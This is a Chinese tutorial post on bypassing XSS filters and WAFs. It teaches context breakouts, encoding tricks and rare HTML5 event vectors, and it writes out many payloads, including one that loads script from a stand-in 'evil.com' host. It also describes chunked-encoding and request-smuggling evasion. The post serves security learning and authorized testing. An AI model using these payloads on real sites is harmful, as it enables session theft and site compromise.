当前位置: 首页 > news >正文

XSS绕过核心技术:从基础过滤到WAF对抗的实战指南

1. 从“弹窗”到“接管”:理解XSS绕过的本质

很多刚接触Web安全的朋友,对XSS(跨站脚本攻击)的第一印象可能就是“弹个窗”。确实,经典的<script>alert(1)</script>是入门必学的第一课,它直观地证明了漏洞的存在。但如果你认为XSS就止步于此,那可就大错特错了。XSS绕过的艺术,本质上是一场攻击者与防御者之间关于“输入”与“输出”的博弈。防御者想尽办法过滤、转义你的输入,而攻击者的目标,则是构造出能够成功“存活”并“执行”的JavaScript代码。

这篇文章不会只教你几个Payload(攻击载荷),然后让你去碰运气。我会带你深入XSS绕过的核心思路,从零基础开始,拆解每一种过滤机制的原理,并给出对应的绕过策略。无论是面对简单的字符串黑名单,还是复杂的WAF(Web应用防火墙)规则,你都能建立起一套系统的分析方法和构造Payload的思维模型。我的目标是,让你看完后,不仅能复现,更能理解“为什么要这样构造”,从而在面对新的、未知的防御场景时,能够自己推导出有效的绕过方法。收藏这一篇,是因为它提供的是“渔”而非“鱼”。

2. XSS基础与绕过核心思想

在深入各种花式绕过技巧之前,我们必须统一认知,夯实基础。XSS攻击成功需要两个核心条件:一是攻击者可控的数据能够被注入到网页中;二是这些数据能够被浏览器解析为可执行的代码(通常是JavaScript)。防御者的所有手段,无论是前端过滤、后端清洗还是WAF拦截,都是围绕破坏这两个条件之一来进行的。

2.1 XSS的三种类型与利用场景

理解类型是选择绕过策略的前提。

反射型XSS:Payload“躺”在URL参数里。比如https://victim.com/search?q=<script>alert(1)</script>。服务器接收到参数q后,未经充分处理就直接将其拼接到返回的HTML页面中并发送给浏览器。这种攻击通常需要诱骗用户点击一个精心构造的链接。它的特点是“一次性”和“非持久化”,利用难度相对较高,但却是绕过姿势的“练兵场”,因为你可以即时看到输入和输出的变化。

存储型XSS:Payload被保存到了服务器端,比如数据库、评论、个人资料、文章内容等。当其他用户访问包含这些数据的页面时,恶意脚本就会自动执行。这种危害最大,因为它影响所有访问者,且可能长期存在。在测试存储型XSS时,要特别注意输入点的上下文(是放在<div>里,还是<input>value属性里),这直接决定了Payload的构造方式。

DOM型XSS:整个攻击过程不经过服务器。JavaScript代码(如document.write,innerHTML,location.hash,eval等)直接从URL、Cookie或其他客户端来源获取数据,并在不经验证的情况下动态更新了DOM(文档对象模型)。例如,页面有一段JS代码:document.write(‘<div>’ + location.hash.substr(1) + ‘</div>’),那么访问https://victim.com/page#<img src=x onerror=alert(1)>就会触发XSS。DOM型XSS的检测和绕过,需要你具备一定的JavaScript代码阅读和分析能力。

注意:在实际测试中,务必使用虚拟机或隔离的测试环境(如DVWA、bWAPP、WebGoat等靶场),绝对禁止对未授权的真实网站进行任何攻击测试,这是法律和道德的底线。

2.2 绕过的基本逻辑:对抗过滤与编码

所有绕过技巧,都可以归结为以下几个核心思路:

  1. 等价替换:当<script>标签被过滤时,我们寻找其他能执行JS的HTML标签或属性,如<img>,<svg>,<body>, 事件处理器(onerror,onload,onmouseover)等。
  2. 编码混淆:利用浏览器和服务器解析的差异。服务器可能过滤了<,但我们可以将其URL编码为%3c,如果浏览器在解码后仍能正确识别,而服务器过滤逻辑没跟上,就绕过了。还有HTML实体编码、JS编码、Unicode编码等多种形式。
  3. 语法技巧:利用JavaScript的语法灵活性。比如,用String.fromCharCode组装字符串,用反引号()执行模板字符串,用eval/setTimeout`动态执行,甚至利用JS的异常处理机制。
  4. 上下文突破:你的输入最终被放在哪里?是HTML标签内(如<div>INPUT</div>),是标签属性里(如<input value=”INPUT”>),还是JavaScript代码块中(如<script>var a = ‘INPUT’;</script>)?不同的上下文,需要完全不同的Payload构造策略。
  5. 组合与拆分:将关键的敏感字符(如script,onclick)拆分开,利用拼接、注释、换行符等方式,让过滤规则“认不出来”,但浏览器却能“拼回去”。

3. 针对基础过滤的经典绕过姿势

这是最常见的场景,网站可能只是简单粗暴地过滤或替换掉一些关键词。我们从一个最简单的例子开始,假设有一个搜索框,输入的内容会显示在结果页。

3.1 关键字黑名单过滤

场景:后端代码发现输入中包含script,onclick,javascript等词,就直接删除或替换为空。

绕过方法

  • 大小写绕过<ScRiPt>alert(1)</ScRiPt>。HTML标签和事件属性名对大小写不敏感(在XHTML中敏感,但极少见),但很多简单的字符串匹配是大小写敏感的。
  • 双写绕过:如果过滤逻辑是删除一次关键词。可以构造:<scrscriptipt>alert(1)</scrscriptipt>。服务器删除中间的script后,剩下的字符正好又组合成一个新的<script>
  • 插入干扰字符:利用HTML/JS解析器会忽略某些字符的特性。
    • 标签名中插入/<scr/ipt>alert(1)</scr/ipt>。浏览器解析时会忽略这个斜杠。
    • 利用Tab/换行<scr\tipt>,<scr%0aipt>(换行符的URL编码)。在某些过滤逻辑中,可能不会将这些空白符视为关键字的一部分。
    • 利用注释<scr<!--test-->ipt>alert(1)</scr<!--test-->ipt>。HTML注释<!-- -->在标签内部是允许的,浏览器解析标签名时会忽略它们。

实操示例: 假设后端过滤了scripton。我们可以尝试:

<im%00g src=x onerr%00or=alert(1)> // 尝试插入空字符%00(需看后端语言处理方式) <svg/onload=alert(1)> // 使用svg标签,onload事件,并在标签名和属性间加/

关键在于不断尝试,并用浏览器的开发者工具(F12)查看“元素”面板,观察我们输入的内容最终被渲染成了什么样子。这是调试Payload最直接有效的方法。

3.2 特殊字符过滤与编码

场景:过滤或转义了<,>,,,&等关键字符。

绕过方法

  • 无需尖括号的Payload:当<>被严格过滤时,可以转向纯事件触发型Payload,但这通常要求你能“跳出”现有的属性值上下文。例如,如果你能控制一个标签的属性值,并且该属性没有用引号闭合,或者你可以闭合它:
    INPUT: " onmouseover=alert(1) // 最终HTML: <input value="" onmouseover=alert(1) //">
    这里我们先用闭合了value属性,然后添加了新的事件属性。//用于注释掉后面原生的”>,防止语法错误。
  • 编码绕过:这是高级绕过的核心。
    • HTML实体编码:浏览器在渲染HTML文本节点时会解码实体。如果服务器只过滤了明文<但没过滤实体,且输出点位于HTML文本中(非属性),可以尝试:&lt;script&gt;alert(1)&lt;/script&gt;。但注意,如果输出点在<script>标签内部或HTML属性中,实体编码可能不会被二次解码。
    • URL编码:常用于出现在URL参数中的Payload。<编码为%3c,>编码为%3e。如果服务器在拼接URL时没有解码,但前端JS在取用参数时用了decodeURIComponent,就可能触发。
    • Unicode/JS编码:在JavaScript上下文中非常有效。例如,alert(1)可以编码为\u0061\u006c\u0065\u0072\u0074(1)eval(‘\x61\x6c\x65\x72\x74\x28\x31\x29’)

实操心得:编码绕过的成功与否,极度依赖于“输出上下文”和“解码时机”。你必须像浏览器一样思考:数据从服务器出来,经过了几层处理?每层处理做了什么?最终到达浏览器解析器时,它“看到”的是什么?养成用开发者工具查看“源代码”(Network响应)和“渲染后DOM”(Elements)对比的习惯,能帮你快速定位问题。

4. 高级上下文突破与组合技巧

当简单的过滤失效时,我们需要更精细地分析漏洞点的上下文。

4.1 在HTML标签属性值内

这是非常常见的场景,比如个人简介、图片链接等。

情况A:属性值被双引号或单引号包围

<input type="text" value="【用户可控输入】"> <img src="【用户可控输入】">

你的目标是“跳出”引号的包围,引入新的事件属性。

  • 闭合引号:输入" onmouseover="alert(1)。最终生成:<input value="" onmouseover="alert(1)" ...>。这里我们闭合了前一个引号,添加了事件处理器,并用新的引号开头,原生的结尾引号会闭合它。
  • 利用无需引号的属性:HTML中,属性值可以不用引号,如果存在过滤,可以尝试:” autofocus onfocus=alert(1) ////注释掉后续内容。

情况B:属性值无引号

<input value=【用户可控输入】>

这更容易利用。直接输入:x onmouseover=alert(1)。生成:<input value=x onmouseover=alert(1)>。注意,事件处理函数(alert(1))最好用引号包起来避免空格引起的解析问题,但现代浏览器通常也能处理。

4.2 在JavaScript代码块内部

这种漏洞威力巨大,因为你可以直接操作JS执行环境。

场景

<script> var userInput = ‘【用户可控输入】’; document.write(‘<div>’ + userInput + ‘</div>’); </script>

目标:闭合字符串和语句,注入新的JS代码。

  • 闭合字符串与语句:输入’; alert(1);//
    • 闭合了前面的字符串。
    • ;结束了前一条语句。
    • alert(1);是我们注入的代码。
    • //注释掉后面原生的’);,防止语法错误。 最终代码变为:var userInput = ‘’; alert(1);//’;,成功执行。

更复杂的情况:模板字符串与eval如果代码使用了反引号(模板字符串)或eval/setTimeout,情况会更灵活。

<script> var data = `Hello, 【用户可控输入】`; element.innerHTML = data; </script>

在模板字符串中,我们可以直接插入JS表达式:${alert(1)}。输入后,代码变为`Hello, ${alert(1)}`,执行时alert会被调用。

4.3 利用HTML5新特性与稀有标签

当常见标签和事件被全面封杀时,可以挖掘一些“偏门”但有效的向量。

  • <svg>标签:SVG是XML格式,其内部可以包含<script>标签,且事件处理器丰富。
    <svg onload=alert(1)> <svg><script>alert(1)</script> <svg><animate onbegin=alert(1) attributeName=x dur=1s>
  • <details>标签的ontoggle事件:这是一个不太为人知的事件。
    <details ontoggle=alert(1) open>
    open属性使其默认展开,页面加载时即触发ontoggle
  • <video>/<audio>onplay事件:结合autoplay属性。
    <video src=x onplay=alert(1) autoplay>
  • <body>标签的onpageshow事件:在页面加载(包括前进/后退缓存加载)时触发。
    <body onpageshow=alert(1)>

实操心得:建立一个自己的Payload库非常重要。但更重要的是,理解每个Payload生效的原理。例如,为什么<svg>onload可以工作?因为它是一个图形元素,加载完成会触发该事件。这样,当你遇到新的、没见过的标签时,你可以去查它的规范,看它支持哪些事件,从而创造新的Payload,而不是永远依赖别人的收集。

5. 对抗现代WAF与深度过滤

现代WAF(如Cloudflare, ModSecurity)和框架的默认防护(如PHP的htmlspecialchars, Django的模板自动转义)更加智能。它们可能采用基于语义的解析、正则表达式匹配、甚至机器学习模型来检测攻击。

5.1 利用解析差异

这是绕过WAF的“银弹”思想之一:WAF解析HTTP请求/响应的方式,与浏览器最终解析HTML/JS的方式可能存在差异。

  • 多重编码:WAF可能只解码一次,而浏览器会解码多次。例如,将<先进行HTML实体编码得到&lt;,再对这个字符串进行URL编码得到%26lt%3b。如果WAF只做了一次URL解码,看到的是&lt;,认为安全。但浏览器收到后,先URL解码为&lt;,再作为HTML文本解析时,将&lt;解码为<,攻击成功。
  • 非常规语法
    • 标签属性无值<script src=//evil.com/x></script>src属性没有引号,值是//evil.com/x(这是一个合法的协议相对URL)。一些简单的正则可能匹配src=“…”src=’…’,而忽略这种形式。
    • 利用JavaScript伪协议在非href/src属性中:通常javascript:alert(1)用在<a href><iframe src>。但可以尝试用在其他支持URL的属性,如<form action=”javascript:alert(1)”>,或者利用SVG的<a>标签:<svg><a xlink:href=”javascript:alert(1)”><text>click</text></a>
    • 不可见字符与换行:在关键位置插入%0a(换行)、%0d(回车)、%09(Tab)或%00(空字节,需视后端语言而定)。例如:<img%0asrc=x%0donerror=alert(1)>。这可能会破坏WAF的正则匹配单行模式(/.*/不匹配换行),但浏览器在解析HTML时会忽略这些空白符。

5.2 分块传输与请求走私

这是更高级的技巧,主要针对基于请求体检测的WAF。

  • 分块传输编码(Chunked Transfer Encoding):将Payload拆分成多个小块(chunk)发送。WAF可能因为拼接检测不完整而放过,而后端服务器正确重组后,完整的攻击载荷得以执行。这通常需要手动构造HTTP请求或使用工具(如Burp Suite的“Chunked”插件)。
  • HTTP请求走私(HTTP Request Smuggling):利用前后端服务器(如前端是WAF/反向代理,后端是应用服务器)对HTTP请求边界解析的不一致,将一个恶意请求“隐藏”在另一个正常请求中,从而绕过前端的检测。这种技术复杂,需要对HTTP协议有深入理解。

重要提示:这些高级技巧通常用于CTF比赛或高强度的授权渗透测试。在实际漏洞报告或研究中,发现此类绕过往往能体现漏洞的高危性。但测试时务必在授权范围内进行。

5.3 利用前端框架与库的特性

现代前端应用大量使用JavaScript框架(React, Angular, Vue.js)。这些框架通常有自带的XSS防护机制(如Vue的v-html指令会对内容进行转义)。但配置不当或使用不安全的API时,仍会产生漏洞。

  • React中的dangerouslySetInnerHTML:顾名思义,这个API是危险的。如果开发者直接将用户输入传给__html属性,就会导致XSS。绕过可能需要闭合前端的JSX上下文,构造如{${alert(1)}或利用模板字符串。
  • Angular.js的客户端模板注入:旧版本Angular.js(v1.x)的沙箱逃逸曾是一个经典的XSS向量。通过构造如{{constructor.constructor(‘alert(1)’)()}}这样的Payload,可以在沙箱内执行任意代码。虽然新版本已修复,但在遗留系统中仍可能遇到。
  • jQuery的不安全使用方法$()jQuery()函数在传入HTML字符串时会解析并执行其中的<script>标签。如果用户输入被直接拼接进去,如$(‘<div>’ + userInput + ‘</div>’),就会导致XSS。即使标签被过滤,也可能通过属性或事件触发。

排查技巧:在测试现代Web应用时,打开开发者工具的“控制台”(Console),观察是否有框架错误或警告信息。同时,仔细审查前端JavaScript代码,寻找诸如innerHTML,outerHTML,document.write(),eval(),setTimeout()/setInterval()中使用了动态参数、以及$.ajax成功回调中处理数据的方式。这些往往是潜在的注入点。

6. 实战问题排查与Payload调试心法

即使知道了所有技巧,在真实环境中构造出可用的Payload也常常需要反复调试。以下是我总结的一套调试流程和常见问题解决方案。

6.1 标准调试流程

  1. 信息收集:首先确定注入点。在输入框尝试输入一些特殊字符,如” ‘ < > &,然后查看页面源代码(Ctrl+U)或开发者工具中的“元素”面板,看它们是如何被处理的。是被原样输出、被删除、被转义(如<变成&lt;),还是触发了错误?
  2. 试探性注入:输入一个最简单的测试Payload,如”><img src=x onerror=alert(1)>。观察结果。
    • 如果弹窗成功,恭喜,这是一个明显的漏洞。
    • 如果没弹窗,打开控制台(F12 -> Console),看是否有JS错误。错误信息能告诉你Payload哪里出了问题(例如,alert未定义?被CSP阻止了?)。
  3. 逐步构造:如果简单Payload失败,开始“拆解”它。先测试能否插入一个普通标签:”><test>,看<test>是否出现在DOM中。如果能,再测试事件属性:”><test ontest=alert(1)>,这里ontest是一个虚构的事件,用来测试事件属性名是否被允许。最后,将ontest换成真实事件如onmouseover,并将alert(1)换成可执行的代码。
  4. 编码尝试:如果明文被过滤,尝试编码。从HTML实体编码开始,然后是URL编码,最后是JS Unicode编码。每次尝试后,都要对比“网络响应”中的原始数据和“元素”面板中渲染后的数据。
  5. 上下文切换:如果当前上下文(如属性值)限制太大,尝试能否“跳”到更有利的上下文。例如,能否闭合当前的标签,开启一个新标签?能否闭合整个HTML文档,从头开始写(如</title></style></textarea></script><script>alert(1)</script>)?这种“跳出思维”往往能打开新局面。

6.2 常见问题与解决方案速查表

问题现象可能原因排查思路与解决方案
Payload已插入DOM但未执行1. 事件未触发。
2. 被内容安全策略(CSP)阻止。
3. 代码有语法错误。
1. 检查事件是否合适(如onerror需要资源加载失败)。换用onload,onmouseover等主动或易触发事件。
2. 查看浏览器控制台的CSP报错。CSP会限制脚本来源。尝试非<script>的向量(如<img onerror>),或寻找允许的源(如unsafe-inline,unsafe-eval)。
3. 在控制台直接执行Payload中的JS代码,看是否有语法错误。
输入字符被转义(如<&lt;服务器端使用了HTML编码输出。检查输出点是否在<script>标签内或HTML属性中。如果在JS上下文中,尝试JS编码(\u003c)。如果在属性中且引号被转义,可能难以绕过,需寻找其他未转义的注入点。
输入内容被完全删除严格的过滤或WAF,直接移除了包含危险字符的整个输入或片段。尝试无尖括号Payload,或利用编码、拆分、插入干扰符等方式“欺骗”过滤规则。测试过滤是前端还是后端做的(抓包修改请求,看响应是否变化)。
alert函数被禁用或未定义网站可能重写了alert,或沙箱环境。尝试其他函数:confirm,prompt,console.log(需在控制台看输出),或直接访问window对象:alert->window[‘al’+’ert’](1)parent.alert(1)
仅在特定浏览器生效浏览器对HTML/JS的解析存在差异。测试主流的Chrome、Firefox、Safari。特别注意IE的怪异模式,它对HTML语法错误更宽容,有时能成为绕过的突破口(但如今IE已边缘化)。
Payload在“查看源代码”中可见,但在“元素”面板中消失可能被后续的JavaScript代码动态删除或覆盖。尝试使用setTimeout延迟执行,或使用onbeforeunload事件(在页面卸载前触发),让代码在DOM被清理前执行。例如:<img src=x onerror=”setTimeout(alert,0,1)”>

6.3 我的独家调试心得

  • 善用浏览器开发者工具:“元素”面板看渲染结果,“源代码”面板看原始响应,“控制台”执行命令和查看错误,“网络”面板看请求响应全过程。这是你最重要的武器。
  • 从简单到复杂:永远从一个最简单的测试开始(比如一个双引号),逐步增加复杂度。一次性扔一个复杂的Payload,失败了都不知道问题出在哪一步。
  • 理解过滤逻辑:尝试输入scr<script>ipt,如果输出是script,说明是删除过滤;如果输出是scr ipt,说明是替换为空格。这决定了你的绕过策略(双写绕过 or 插入干扰符)。
  • 保持耐心与记录:XSS绕过有时像解谜。把每次尝试的Payload和结果记录下来,分析规律。成功的Payload往往诞生于对失败规律的总结之上。
  • 关注非主流输入点:除了常见的表单、URL参数,别忘了CookieUser-AgentReferer等HTTP头,以及通过POST发送的JSON/XML数据。这些地方也可能被记录并显示在管理后台,从而形成存储型XSS。

XSS绕过的世界没有“一招鲜,吃遍天”。它要求你对Web前端技术(HTML、JavaScript、浏览器解析)、后端处理逻辑以及各种防御机制都有深入的理解。这篇文章为你搭建了一个从基础到进阶的框架,并提供了丰富的思路和案例。真正的精通,来自于在靶场中无数次的尝试、失败、思考和再尝试。当你能够独立分析一个陌生网站的过滤机制,并亲手构造出绕过Payload时,那种成就感是无与伦比的。记住,思维永远比工具和Payload库更重要。

http://www.jsqmd.com/news/1100737/

相关文章:

  • 深入解析Iframe钓鱼攻击:原理、防御与实战安全编码
  • 嵌入式图像转换终极指南:LCD Image Converter核心引擎深度解析
  • R语言ggrcs包3.5版保姆级教程:从Cox回归到逻辑回归,一张图搞定非线性关系与阈值效应
  • 告别真机调试!用unidbg在Windows/Mac上模拟执行Android so文件(保姆级教程)
  • 别再只会用H5跳转了!Android Scheme协议从配置到实战避坑全解析
  • 文件加密软件有哪些?强烈推荐六个文件加密软件,建议码住试试
  • GoldHEN Cheats Manager:PS4游戏修改的终极解决方案
  • Sails.js性能测试实战:Artillery与k6工具选型及瓶颈定位
  • Python的__get__描述符的__set_name__参数的用途
  • 多模态AI如何革新GUI自动化测试:从原理到实践
  • 用西门子S7-200 PLC给立体仓库做个‘大脑’:从硬件选型到梯形图编程全流程拆解
  • LLM 是如何学会调用外部工具的?
  • 【Claude Code】----Claude Code 全套高效开发实战技巧|16个实战高效技巧,程序员必看AI编程提效干货
  • 学习C语言的第十三天06.29
  • 怎么给电脑加密?分享这6款热门电脑加密软件,公认好用
  • 别再只用sleep了!C语言里usleep和nanosleep的实战用法与毫秒级休眠封装
  • 无需专业CAD,轻量化CAD看图绘图工具就够了
  • 保姆级教程:用Cache模拟器手把手理解多核CPU的数据一致性(附避坑指南)
  • 从零开始:用Luckfox Pico Pro Max开发板(RV1106)搭建一个简易网络摄像头
  • 初代剧粉集体脱坑:短剧的精品化,真的错了吗?
  • 从玩具项目到产品原型:我是如何用EasyVision快速搭建一个人脸打卡Demo的
  • 3分钟掌握G-Helper:华硕笔记本轻量控制工具的终极指南
  • 保姆级教程:用Ansys Zemax OpticStudio搞定单模光纤耦合效率分析(附避坑指南)
  • 方寸感知战场:MEMS IMU 在坦克中的实战价值
  • 保姆级教程:用EMQX和MQTTX从零搭建你的第一个物联网消息系统(Windows环境)
  • AI高薪神话褪去,普通人如何构建工程化能力应对行业新常态
  • PUBG罗技鼠标压枪宏:5分钟快速配置终极指南
  • 如何为嵌入式系统打造高效图像与字体资源生成器:LCD Image Converter深度解析
  • 别再盲目训练模型了!用PyTorch的EarlyStopping回调函数,5分钟搞定早停策略
  • 终极指南:如何用SuperPNG插件优化Photoshop PNG输出质量